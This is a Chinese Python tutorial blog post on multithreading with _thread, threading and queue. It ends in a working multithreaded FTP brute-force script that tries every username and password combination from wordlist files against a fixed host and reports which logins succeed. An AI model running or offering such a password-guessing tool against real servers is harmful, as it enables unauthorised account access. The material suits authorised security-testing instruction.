zoukankan      html  css  js  c++  java
  • python开发(4)--多线程爆破

    Python3 多线程

    多线程类似于同时执行多个不同程序,多线程运行有如下优点:

    • 使用线程可以把占据长时间的程序中的任务放到后台去处理。
    • 用户界面可以更加吸引人,比如用户点击了一个按钮去触发某些事件的处理,可以弹出一个进度条来显示处理的进度。
    • 程序的运行速度可能加快。
    • 在一些等待的任务实现上如用户输入、文件读写和网络收发数据等,线程就比较有用了。在这种情况下我们可以释放一些珍贵的资源如内存占用等等。

    每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制。

    每个线程都有他自己的一组CPU寄存器,称为线程的上下文,该上下文反映了线程上次运行该线程的CPU寄存器的状态。

    指令指针和堆栈指针寄存器是线程上下文中两个最重要的寄存器,线程总是在进程得到上下文中运行的,这些地址都用于标志拥有线程的进程地址空间中的内存。

    • 线程可以被抢占(中断)。
    • 在其他线程正在运行时,线程可以暂时搁置(也称为睡眠) -- 这就是线程的退让。

    线程可以分为:

    • 内核线程:由操作系统内核创建和撤销。
    • 用户线程:不需要内核支持而在用户程序中实现的线程。

    Python3 线程中常用的两个模块为:

    • _thread
    • threading(推荐使用)

    thread 模块已被废弃。用户可以使用 threading 模块代替。所以,在 Python3 中不能再使用"thread" 模块。为了兼容性,Python3 将 thread 重命名为 "_thread"。

    _thread例子: 

    #简单的_thread线程
    import _thread
    import time
    
    #为线程定义一个函数
    def print_time(threadName, delay):
        count = 0
        while count < 5:
            time.sleep(delay)
            count +=1
            print("%s: %s" %(threadName, time.ctime(time.time())))
    
    #创建两个线程
    try:
        _thread.start_new_thread(print_time, ("正在搞屎1",1,))
        _thread.start_new_thread(print_time, ("正在搞屎2", 2,))
    except:
        print("Error!!!")
    
    while 1:#无限循环,因为线程在后台运行,如果没有while 1,主程序会结束运行,后台的线程也会停止
        pass

    threading:

    基本使用:

    import threading
    import time
    
    class myThread (threading.Thread): #继承threading.Thread
        def __init__(self, threadID, name, delay):
            threading.Thread.__init__(self)
            self.threadID = threadID
            self.name = name
            self.delay1 = delay
        def run(self):
            print ("开始线程:" + self.name)
            print_time(self.name, self.delay1, 5)
            print ("退出线程:" + self.name)
    
    def print_time(threadName, delay, counter):
        while counter:
            #threadName.exit()  退出线程
            time.sleep(delay)
            print ("%s: %s" % (threadName, time.ctime(time.time())))
    
            counter -= 1
    
    # 创建新线程
    thread1 = myThread(1, "Thread-1", 1) #创建一个类的对象
    thread2 = myThread(2, "Thread-2", 2)
    
    # 开启新线程
    thread1.start() #调用对象里面的方法(函数)
    thread2.start()
    thread1.join() #等待线程结束
    thread2.join()
    print ("退出主线程")

    加上queue队列:

    import threading
    import time
    import queue
    
    
    def gaoshi():
        while not q.empty():
            dict = q.get()
            print(str(dict) + "  正在搞事!")
            time.sleep(1)
    
    if __name__ == '__main__':
        print("开始搞事")
        thread_x = 2
        q = queue.Queue()
        for i in range(10):
            q.put(i)      #把数据写这个对象里面,用于多线程调用
        print(q.get())
        for x in range(int(thread_x)):
            t = threading.Thread(target=gaoshi)
            t.start()
            print("标记1")  # 线程依然在后台运行
        print("标记2")

    结果:

    爆破ftp实战:

    import ftplib
    import threading
    import queue
    import sys
    
    #利用Python开发其他协议爆破脚本
    def ftp_check():
        while not q.empty():
            dict=q.get()
            dict=dict.split('|')
            username=dict[0]
            password=dict[1]
            ftp=ftplib.FTP()
            try:
                ftp.connect('192.168.0.101',21)
                ftp.login(username,password)
                ftp.retrlines('list')
                ftp.close()
                print('success|'+username+'|'+password)
            except ftplib.all_errors:
                print('failed|'+username+'|'+password)
                ftp.close()
                pass
    
    
    if __name__ == '__main__':
        print("python ftp_burte.py user.txt pass.txt 10")
        user_file=sys.argv[1]
        pass_file = sys.argv[2]
        thread_x=sys.argv[3]
        q=queue.Queue()
        for username in open(user_file):
            for password in open(pass_file):
                username = username.replace('
    ', '')
                password = password.replace('
    ', '')
                diclist=username+'|'+password
                q.put(diclist)
        for x in range(int(thread_x)):
            t=threading.Thread(target=ftp_check)
            t.start()
  • 相关阅读:
    AutoLISP修改圆直径
    AutoLISP文字加上下划线
    EminemNot Afraid
    AutoLISP将图形中文字写入外部文件
    AutoLISP文字大小写转换
    AutoLISP修改文字高度
    AutoLISP文字外加矩形框
    AutoLISP文字外加圆形框
    AutoLISP纹理地板图案
    AutoLISP修改文字倾斜角度
  • 原文地址:https://www.cnblogs.com/trevain/p/14206822.html
Copyright © 2011-2022 走看看